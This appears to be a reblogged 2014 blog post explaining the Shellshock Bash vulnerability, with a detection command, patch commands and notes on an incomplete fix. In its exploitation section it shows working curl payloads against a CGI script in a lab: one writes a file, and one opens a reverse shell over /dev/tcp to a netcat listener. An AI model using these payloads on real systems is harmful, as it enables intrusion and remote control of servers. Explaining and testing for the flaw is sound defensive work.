The team behind the Bash project (the most common shell used on Linux) recently issued a patch for a serious vulnerability that could allow for remote command execution on servers running the vulnerable bash versions.
This new security vulnerability known as the Bash or Shellshock bug could spell disaster for major digital companies, small-scale Web hosts and even Internet-connected devices.
It allows miscreants to remotely execute arbitrary code on systems ranging from web servers, routers, servers and Macs to various embedded devices that use Bash, and anything else that uses the flawed open-source shell. It’s a major vulnerability related to Bash, a computer program that’s installed on millions of computers around the world. There’s been a lot of confusion in mainstream media accounts about how the bug works, who’s vulnerable, and what users can do about it.
An attacker needs to inject his or her payload of code into the environment variables of a running process – and this is surprisingly easy to do, via Apache CGI scripts, DHCP options, OpenSSH and so on. When that process or its children invoke Bash, the code is picked up and executed.
The Bash flaw – designated CVE-2014-6271 – is being exploited in the wild against web servers, which are the most obvious targets but not by any means the only machines at risk.
Main Reason:
The issue starts with mod_cgi and how web servers interact with CGI programs (that could be written in Perl, PHP, Shell scripting or any other language). The web server passes (environment) user variables to them so they can do their work. In simple terms, this vulnerability allows an attacker to pass a command as a variable that gets executed by bash.
It means that if you are using mod_cgi on your web server and you have a CGI written in shell script, if you have CGI’s written on any other language, but you are using “system()”, “(backticks)” or executing any commands from the CGI, you are in deep trouble. Drop everything now and patch your servers.
In a few more days we will see real scans and actual attacks attempting to exploit this Shell Shock vulnerability.
You’re in luck with this one, identify Bash (which we’ll discuss more below) is installed on many computers running operating systems derived from an ancient operating system called Unix. That includes Macs, as well as a lot of web servers running operating systems such as Linux.
Whether these computers are actually vulnerable depends on whether they invoke Bash in an unsafe way. We already know that this is true of many web servers, and it’s believed that other types of network services could also be vulnerable. But it’ll take a while for security experts to audit various pieces of software to check for vulnerabilities.
Finding the Bug in your server:
Finding if you’re vulnerable is easier than previous vulnerabilities. Log into your server and via terminal run this command:
#env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
If you are vulnerable it will return:
vulnerable
hello
Fix:
To fix it will depend on your NIX distribution but you will want to reinstall or update, which ever you prefer:
#sudo apt-get upgrade or apt-get -y install bash
#sudo yum update
Once complete, rerun the test and you will get:
#env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
hello
Remote Code Execution Through Bash:
Example 1: Creating a file in the target system using shellshock
Below i explained with simple example of remote code execution through vulnerable bash.
#rm -fr /tmp/sathish
I already have a working apache web server with mod_cgi enabled and with simplebash script to echo “CGI Bash Bug Example” and size of root filesystem.
#cat /usr/lib/cgi-bin/bashbug.sh
#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “<html><body>CGI Bash Bug Example</body></html>”
echo `df -h / | grep -v Filesystem`
#curl -k -H ‘User-Agent: () { :;}; echo BugFound>/tmp/sathish’ https://localhost/cgi-bin/bashbug.sh
#tail -n1 /var/log/apache2/access.log
#ls -l /tmp/sathish
Example 2: Getting a reverse tcp connection from target system using /dev/tcp connection.
In this example i had two machines, one is Kali Linux – 192.168.31.20 and Ubuntu 14.04 – 192.168.31.5 ( Shellshock ).
From my kali linux machine i executed the remote command on the target ubuntu system to create a tcp connection on port 4444 and then listen on port 4444 in my local machine using netcat.
root@kali# nc -lvp 4444
root@kali# curl -H ‘x: () { :;}; /bin/bash -i >& /dev/tcp/192.168.31.20/4444 0>&1’ http://192.168.31.5/cgi-bin/bashbug.sh
That’s it we successfully got the reverse connection of www-data user from the bash vulnerable system.
So you have a cgi file named “bashbug” that does nothing but respond with “CGI bug found”. If you call it using curl with a malicious user agent header, bash stores that header in an environment variable, but due to the bug, the code gets executed which creates the file “/tmp/sathish”, is that righ.
Patches released on Wednesday by Linux vendors, the upstream maintainer of Bash, and others for OS X, blocked these early attacks, but it’s understood they do not completely protect Bash from code injection via environment variables.
New packages of Bash were rolled out on the same day, but further investigation made it clear that the patched version is still exploitable, and at the very least can be crashed due to a null-pointer exception. The incomplete fix is being tracked as CVE-2014-7169.
Red Hat, at time of writing, is urging people to upgrade to the version of Bash that fixes the first reported security hole, and not wait for the patch that fixes the secondary lingering vulnerability – designated CVE-2014-7169.
“CVE-2014-7169 is a less severe issue and patches for it are being worked on,” the Linux maker said.
LINUX DIGEST 
Reblogged this on acidburn0admin and commented:
test